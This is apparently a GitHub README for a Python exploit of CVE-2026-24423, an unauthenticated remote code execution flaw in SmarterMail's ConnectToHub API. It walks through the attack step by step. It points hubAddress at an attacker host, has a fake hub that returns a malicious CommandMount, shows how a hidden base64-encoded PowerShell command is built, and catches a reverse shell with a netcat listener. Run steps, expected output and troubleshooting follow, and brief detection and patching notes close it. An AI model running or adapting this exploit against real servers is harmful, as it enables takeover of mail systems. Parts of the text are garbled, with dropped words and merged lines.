cyberalp0/smartermail-cve-2026-24423-Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.
A Python-based exploit for CVE-2026-24423, an unauthenticated Remote Code Execution vulnerability in SmarterTools SmarterMail's ConnectToHub functionality.
Intended use: Authorized security testing, CTFs, Hack The Box labs, and controlled research environments only.
CVE-2026-24423 is an unauthenticated Remote Code Execution vulnerability affecting SmarterTools SmarterMail.
The vulnerability exists in the ConnectToHub functionality. An unauthenticated attacker can supply a malicious , causing the SmarterMail server to make an HTTP request to an attacker-controlled server.
hubAddressThe malicious server responds with a crafted setup-initial-connection response containing a controlled SystemMount.CommandMount value.
The vulnerable SmarterMail instance subsequently processes this value as an operating-system command, allowing arbitrary command execution in the security context of the SmarterMail service.
The vulnerability was assigned a CVSS 4.0 score of 9.3 (Critical) and is classified as CWE-306: Missing Authentication for Critical Function.
| Field | Value |
|---|---|
| CVE | CVE-2026-24423 |
| Vendor | SmarterTools |
| Product | SmarterMail |
| Vulnerability | Unauthenticated Remote Code Execution |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critical |
| CVSS v3.1 | 9.8 Critical |
| Attack Vector | Network |
| Authentication | None |
| User Interaction | None |
| Complexity | Low |
| Published | January 23, 2026 |
| Fixed Build | 9511 |
The official CVE record describes the issue as an unauthenticated RCE through the ConnectToHub API method.
SmarterMail versions before Build 9511 are affected.
The CVE record specifies the affected range as:
SmarterMail < 100.0.9511
Build 9511, released January 15, 2026, contains the vendor fix.
< 100.0.9511
>= 100.0.9511
Always verify the exact installed build before attempting to reproduce the vulnerability.
The vulnerable functionality is exposed through the SmarterMail system administration API.
The relevant operation is:
/api/v1/settings/sysadmin/connect-to-hub
The endpoint accepts a hubAddress parameter.
Conceptually, an attacker can provide:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail then connects to the supplied hub address and requests:
/web/api/node-management/setup-initial-connection
The attacker-controlled server responds with JSON containing a malicious SystemMount object.
The important property is:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
The CommandMount value is subsequently used by the vulnerable application as an operating-system command.
This allows an attacker to transition from:
Unauthenticated HTTP request
to:
Remote command execution
VulnCheck's technical analysis confirms that the attacker-controlled hubAddress causes SmarterMail to request the attacker's setup-initial-connection endpoint and that the returned CommandMount can provide arbitrary command execution.
The exploit consists of two components:
The Python server listens for:
POST /web/api/node-management/setup-initial-connection
and returns a crafted JSON response containing the malicious SystemMount.CommandMount.
A separate TCP listener receives the connection initiated by the command executed on the target.
This exploit intentionally uses two separate ports.
8081
└── Fake SmarterMail Hub
4455
└── Reverse Shell Listener
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> ATarget
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
These ports serve different purposes and should not be confused.
The exploit uses only Python standard-library modules:
http.server
json
base64
No external Python packages are required.
Edit the following variables:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
For the example HTB environment:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST is the attacker's IP address that the target can reach.
For Hack The Box, this is normally the IP assigned to the HTB VPN interface:
ip addr show tun0
Example:
tun0:
inet 10.10.14.50
Therefore:
LHOST = "10.10.14.50"
LPORT is the TCP port used by the attacker to receive the reverse connection.
Example:
LPORT = 4455
HUB_PORT is the HTTP port used by the malicious SmarterMail hub.
Example:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
Edit:
nano exploit.py
Set:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Open a terminal:
nc -lvnp 4455
Expected:
Listening on 0.0.0.0 4455
Keep this terminal open.
Open a second terminal:
python3 exploit.py
If binding to the selected port requires elevated privileges:
sudo python3 exploit.py
Expected output:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
Send the appropriate request to the vulnerable SmarterMail instance.
The supplied hubAddress must point to the malicious HTTP server:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
The important value is:
http://10.10.14.50:8081
Do not use the reverse-shell port as the hub port.
| Purpose | IP | Port |
|---|---|---|
| Attacker VPN | 10.10.14.50 | — |
| Fake SmarterMail Hub | 10.10.14.50 | 8081 |
| Reverse Shell | 10.10.14.50 | 4455 |
| HTB Target | 10.129.57.86 | — |
The resulting flow is:
hubAddress
↓
10.10.14.50:8081
↓
Malicious CommandMount
↓
PowerShell
↓
10.10.14.50:4455
The exploit dynamically creates the PowerShell payload.
PowerShell's -EncodedCommand parameter expects the command to be encoded using UTF-16LE before Base64 encoding.
The script performs:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
The final command is structured as:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
This avoids manually encoding the payload and prevents common UTF-8/UTF-16LE encoding mistakes.
When the target reaches the malicious hub:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
The reverse-shell listener should subsequently receive a connection:
Connection received on 10.129.57.86 XXXXX
Once connected, basic validation can be performed:
whoami
hostname
Check that the server is listening:
ss -lntp | grep 8081
Verify the VPN address:
ip addr show tun0
Confirm that LHOST matches the address reachable from the target.
A successful HTTP request means the first stage is working:
Target
|
| HTTP
v
Fake Hub :8081
It does not necessarily mean the second stage succeeded.
Check:
ss -lntp | grep 4455
Make sure Netcat was started before triggering the exploit.
Also verify:
LHOST = target-reachable attacker IP
LPORT = listener port
If you see:
POST /web/api/node-management/setup-initial-connection
inside Netcat, you have pointed hubAddress at the reverse-shell listener.
Incorrect:
hubAddress = http://10.10.14.50:4455
Correct:
hubAddress = http://10.10.14.50:8081
The two ports must remain separate.
A 400 response can occur when the fake hub does not return the structure expected by SmarterMail.
Verify that the response contains:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Also make sure the requested path is exactly:
/web/api/node-management/setup-initial-connection
The public vulnerability analysis identifies this endpoint as part of the vulnerable ConnectToHub flow.
Add screenshots from the HTB lab here.
Example:
Suggested screenshot:
Show:
[+] Received SmarterMail connection
[+] Sending CommandMount payload
Show the request containing:
{
"hubAddress": "http://10.10.14.50:8081"
}
Show:
Connection received on 10.129.57.86
and the resulting command prompt.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
Potential indicators of exploitation include unexpected requests to:
/api/v1/settings/sysadmin/connect-to-hub
and outbound connections from the SmarterMail server to previously unknown HTTP hosts.
Administrators should also review application, IIS/reverse-proxy, and network logs for suspicious ConnectToHub activity.
CVE-2026-24423 has been included in CISA's Known Exploited Vulnerabilities catalog, indicating that exploitation has been observed outside of laboratory environments.
The primary remediation is to upgrade SmarterMail to Build 9511 or later. The vendor's January 15, 2026 release addressed the vulnerability.
Where immediate patching is not possible, organizations should additionally consider:
ConnectToHub requests.This project is provided for authorized security research and educational purposes only.
Do not use this exploit against systems that you do not own or do not have explicit permission to test.
The author assumes no responsibility for misuse, damage, data loss, unauthorized access, or other consequences resulting from the use of this software.
Use only in controlled environments such as:
CVE-2026-24423 was credited to:
The CVE was published by VulnCheck on January 23, 2026.